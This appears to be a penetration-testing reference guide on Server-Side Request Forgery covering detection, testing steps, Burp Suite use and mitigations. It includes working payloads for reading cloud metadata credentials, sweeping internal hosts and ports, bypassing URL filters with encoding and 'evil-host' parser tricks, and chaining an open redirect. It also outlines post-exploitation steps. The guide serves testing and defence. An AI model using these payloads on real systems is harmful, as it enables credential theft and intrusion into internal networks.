Skip to content

SSRF – Server-Side Request Forgery

Complete Reference Guide


1. What Is SSRF?

Server-Side Request Forgery is a vulnerability where an attacker tricks the server into making HTTP requests to a target the attacker can't reach directly.

Attacker → [Vulnerable server] → Internal network / cloud metadata / external systems

The vulnerable server acts as an unintended proxy — without authentication, from a trusted position on the network.

SSRF is in the OWASP Top 10 (A10:2021) — particularly impactful in cloud environments.


2. Impact

A successful SSRF attack can lead to:

  • Unauthorized access to internal systems and data
  • Access to other back-end systems the application communicates with
  • Arbitrary command execution (via a vulnerable internal service)
  • Attacks on external systems that appear to come from the organization itself
Attack vector Example
Exploring the internal network http://192.168.1.1/admin — reaching internal routers/services
Stealing cloud metadata http://169.254.169.254/latest/meta-data/ — AWS/GCP/Azure credentials
Attacking back-end systems Databases, Elasticsearch, Redis without authentication
RCE via SSRF Via a vulnerable internal service (e.g. Jenkins, Struts, Redis)
Pivoting to external attacks An attack on a third party appears to come from the victim company

3. Recognizing It — Where Does SSRF Risk Live?

Look for functionality where the server fetches a URL or host based on user input.

Clear Signals

Function Example parameter
URL preview / link unfurling ?url=https://example.com
Webhook configuration callback_url=http://...
PDF / screenshot generator ?page=http://...
File import from an external source ?file=http://...
Server-side image resizing ?image=http://...
SSO / OAuth redirect redirect_uri=http://...
XML/JSON with an external reference XXE-like constructs

Less Obvious Vectors

  • The Referer header
  • The Host header
  • JSON body fields: "src", "uri", "endpoint", "target", "dest", "path"
  • XML entities (XXE → SSRF combination)
  • GraphQL queries with external URL fields

4. Testing — Step by Step

Step 1 — Establishing a Baseline (Out-of-Band)

Send a request to a server you control:

POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded

stockApi=http://your-id.oastify.com

If you get a DNS lookup or HTTP request in Burp Collaborator → SSRF confirmed.


Step 2 — Testing Internal Hosts

stockApi=http://127.0.0.1/
stockApi=http://localhost/
stockApi=http://192.168.0.1/
stockApi=http://10.0.0.1/
stockApi=http://172.16.0.1/

Look for differences in the response: - A different HTTP status code - A different response length - An error message with internal information


Step 3 — Looking for Admin Interfaces

http://127.0.0.1/admin
http://127.0.0.1:8080/admin
http://192.168.0.X:8080/admin   ← IP-range sweep via Intruder

Step 4 — Cloud Metadata Endpoints

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# GCP
http://metadata.google.internal/computeMetadata/v1/

Step 5 — Scanning Ports via Intruder

If you don't know which port an internal service is running on:

stockApi=http://192.168.0.1:§8080§/

Payload type: Numbers → From: 1, To: 65535, Step: 1 (Or use a top-ports list for faster results)

Detection via response differences: - Port open → response with content or a specific error message - Port closed → connection refused → a different error code or timeout

Commonly Used Internal Ports

Port Service
8080 / 8443 Tomcat, Jenkins, internal web apps
8888 Jupyter, various admin UIs
9200 / 9300 Elasticsearch
6379 Redis
5432 PostgreSQL
3306 MySQL
27017 MongoDB
4848 GlassFish admin
8500 Consul
2375 Docker API (unsecured)
10250 Kubernetes kubelet

Step 6 — Blind SSRF (No Output in the Response)

No visible result? Test via out-of-band callbacks:

  • Burp Collaborator — registers DNS/HTTP callbacks (Pro)
  • interactsh (interact.sh) — open-source alternative
stockApi=http://unique-id.interact.sh/ssrf-test

If the server makes the request but you see nothing in the response → Blind SSRF confirmed.


Step 7 — SSRF via Headers

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
Referer: http://169.254.169.254/
Host: internal-service.local

Some applications trust these headers and make internal requests based on them.


5. Bypassing Filters

5a. Blacklist-Based Filters

Blocking 127.0.0.1 or localhost? Try:

# Decimal / octal encoding
http://2130706433/          ← 127.0.0.1 in decimal
http://0177.0.0.1/          ← octal

# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/

# Short notation
http://127.1/
http://0/

# DNS rebinding
http://127.0.0.1.nip.io/
http://spoofed.domain → 127.0.0.1

# HTTPS instead of HTTP
https://127.0.0.1/

# URL encoding
http://127.0.0%2E1/
http://%6c%6f%63%61%6c%68%6f%73%74/   ← localhost encoded

5b. Whitelist-Based Filters

The application requires the URL to contain a certain allowed host. Exploit inconsistencies in URL parsing:


@ — injecting credentials

https://expected-host:fakepassword@evil-host

The @ separates credentials from the hostname. The filter sees expected-host but the request goes to evil-host.

The filter thinks : ✓ contains "expected-host"
The request goes  : → evil-host

# — abusing the URL fragment

https://evil-host#expected-host

Everything after # is a fragment — never sent to the server. The filter approves it, but the server only talks to evil-host.

The filter thinks : ✓ ends with "expected-host"
The request goes  : → evil-host

Subdomain spoofing — DNS hierarchy

https://expected-host.evil-host.com

The filter finds expected-host in the URL. But you control evil-host.com and determine the DNS resolution yourself.

The filter thinks : ✓ starts with "expected-host"
DNS resolves to   : → your server

URL encoding — confusing the parser

http://127.0.0%2E1/          ← the dot encoded
http://%6c%6f%63%61%6c%68%6f%73%74/   ← localhost

Double encoding for servers that decode recursively:

. = %2E = %252E

The validation code and the HTTP client sometimes decode differently → bypass.


Combinations

https://expected-host@evil-host#.expected-host
https://expected-host%40evil-host
http://expected-host:80%40evil-host/

5c. Open Redirect Chaining

If an allowed domain has an open redirect, you can fully bypass SSRF filters.

Open redirect on an allowed domain:

https://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://evil-user.net
→ HTTP 302 Location: http://evil-user.net

SSRF exploit via the open redirect:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

How it works:

1. The app validates the URL
   → "weliketoshop.net" is on the whitelist ✓

2. The app makes a request to weliketoshop.net/product/nextProduct?...

3. weliketoshop.net responds:
   HTTP 302 → Location: http://192.168.0.68/admin

4. The HTTP client automatically follows the redirect

5. The request reaches: http://192.168.0.68/admin ← SSRF succeeded

The whitelist protects the input — not what happens after a redirect.


6. What to Do After Confirming SSRF?

SSRF confirmed
    │
    ├─ Map out the internal network (IP ranges, ports)
    ├─ Fetch /admin endpoints
    ├─ Cloud metadata → steal IAM credentials
    ├─ Call internal APIs without authentication
    ├─ Read sensitive configuration files
    └─ Pivot to RCE (Jenkins, Struts, Redis EVAL, ...)

7. Automatic Detection — Burp Suite

Feature Community Pro
Active scanner ✗ ✓
Burp Collaborator ✗ ✓
Blind SSRF detection ✗ Partial ✓

What Burp DOES Detect

  • Basic SSRF via Collaborator payloads in URL parameters
  • Out-of-band DNS/HTTP callbacks
  • Some blind SSRF via active scan

What Burp Does NOT Detect Automatically

Blind spot Reason
SSRF in unexpected parameters "endpoint", "target" aren't recognized as a URL
Header-based SSRF Referer, X-Forwarded-For aren't always tested
Blocklist bypasses Decimal encoding, IPv6, DNS rebinding not automatic
Chained SSRF via an open redirect Too complex for automatic detection
Nested URL fields in XML/JSON Depends on the quality of body parsing

Conclusion:

Burp active scan = a good first filter
Manual testing   = necessary for full coverage

8. Tools

Tool Use
Burp Suite Pro Collaborator for blind SSRF, Intruder for IP/port sweeps
ffuf / wfuzz Brute-forcing internal IP ranges and ports
interactsh Open-source out-of-band callback server
nip.io / sslip.io DNS-based bypass helpers
Collaborator Everywhere Burp extension — injects Collaborator payloads into every header

9. Mitigations

  • An allowlist of permitted URLs/domains — never a blocklist as primary defense
  • Never make requests based on user input without strict validation
  • Network segmentation — make internal services unreachable from the app server
  • Block cloud metadata endpoints at the infrastructure level
  • Don't automatically follow HTTP redirects in server-side HTTP clients
  • Filter response content — internal IP addresses or hostnames must not leak
  • Firewall rules — the app server may only reach whitelisted external hosts